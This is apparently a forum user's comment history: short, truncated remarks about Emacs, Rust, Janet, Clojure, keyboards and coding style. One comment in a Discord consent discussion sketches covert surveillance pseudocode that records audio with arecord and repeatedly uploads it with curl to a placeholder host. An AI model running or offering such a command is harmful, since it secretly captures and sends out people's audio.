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by ahungry 3y ago
Bravo - for these simple things, typing in a GPT prompt or search query is more work than the command. Even things like "what flags to use with ffmpeg" are a shell reverse-history search away, assuming one has ever used them in th
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by ahungry 3y ago
I loved slitaz - got me into linux!
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Creative AIs and Baldur's Gate Modding(ahungry.com)
3 points by ahungry 4y ago|0 comments
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by ahungry 4y ago
I've been using https://github.com/Malabarba/Nameless for awhile now - it's functionally very similar to the new Emacs shorthands feature.
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by ahungry 4y ago
perl6/rakudo has most the same convenience features, albeit a little less type checking
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by ahungry 4y ago
I've noticed that Rust is in an interesting spot - it has a lot of overlapping appeal with various groups. - C/C++ developers like it as an alternative for low level languages - Functional programmers like it because of it's
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by ahungry 4y ago
Doesn't it show a system tray icon? (I don't use discord on Windows, or a system tray myself) - is a system tray icon not adequate? I believe it would show 24/7 wouldn't it?
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by ahungry 4y ago
Did the users choose to install the Discord app (or run a random command?) How are you supposed to confirm "user understanding"? Does the program need to require a tutorial/training before it's being used? A user's
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by ahungry 4y ago
Something like: nohup arecord /tmp/audio & ; nohup while :; do curl -F'data=/tmp/audio' http://example.com; done & Untested pseudocode, but probably close - that's enough for a
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by ahungry 4y ago
This was a trend in the early 2010s on a lot of Clojure projects
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by ahungry 4y ago
I believe homoiconicity is more related to the syntax than the underlying implementation - fans of homoiconic code use it to treat code as data (macros and eval) rather than to reason about performance concerns/having a transparency in
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by ahungry 4y ago
lol
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by ahungry 4y ago
Well stated.
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by ahungry 4y ago
Nice tip!
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by ahungry 4y ago
love this
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by ahungry 4y ago
Wrap the entire script in {}, otherwise a change to it will impact running instances (best case, causing an abrupt error).
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by ahungry 4y ago
Sometimes the infrastructure causes this. For a long time (and now?) AWS Api Gateway has a hard cap of 30 seconds, so the sum of all hops along the way need to remain under that.
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by ahungry 4y ago
yup, thats the appeal - in a multi language environment a common call, not having to futz with cargo run, npm run start, python3 -m something, etc
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by ahungry 4y ago
Compiles/transpiles into code that runs on a "host" language execution environment (nodejs, JVM, CLR) instead of it's own VM implementation, or native code.
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by ahungry 5y ago
It'd be nice if someone on the Snowflake team actually maintained their JS adapter... ( https://github.com/snowflakedb/snowflake-connector-nodejs/pu... )
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by ahungry 5y ago
I wrote similar here: https://github.com/ahungry/janet-pobox although it probably needs updates to work with 1.18 and above.
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by ahungry 5y ago
In libjanet you can use a C call like janet_panic() that'll "panic" and throw an exception/error up in the active Janet runtime (so when something bad/unexpected happens in your C code you are providing an API to fr
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by ahungry 5y ago
True, so more clicky than not clicky at all would put any clicky one in the "more clicky" category (blue/green/???) :) The silver speed ones on this kraken keyboard aren't bad, but definitely take some getting used
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by ahungry 5y ago
As noted on the article - looking for recommendations of nice 60% keyboards in the $100'ish price point range as well. Something a little more clicky than brown switches, but perhaps not as much as a Unicomp, and in the 60% form factor
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Sixty Percent Keyboard(ahungry.com)
2 points by ahungry 5y ago|1 comments
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by ahungry 6y ago
I was really tempted to go into some pro-FP suggestions (in particular, about reducing some of the duplicity via compositional functions), but wanted to keep it to just the over-abstraction/if/else complexity topic.
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by ahungry 6y ago
Haha, good catch, I'm going to blame that on typing while tired
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by ahungry 6y ago
That makes sense if it was just a list of ingredients with an identical process in every recipe (in which case the ingredients are simply data) - it may not have been super clear in the article alone, but there was a difference in process b
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by ahungry 6y ago
Glad you enjoyed it!
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Write Code Like You Write a Recipe(ahungry.com)
111 points by ahungry 6y ago|84 comments

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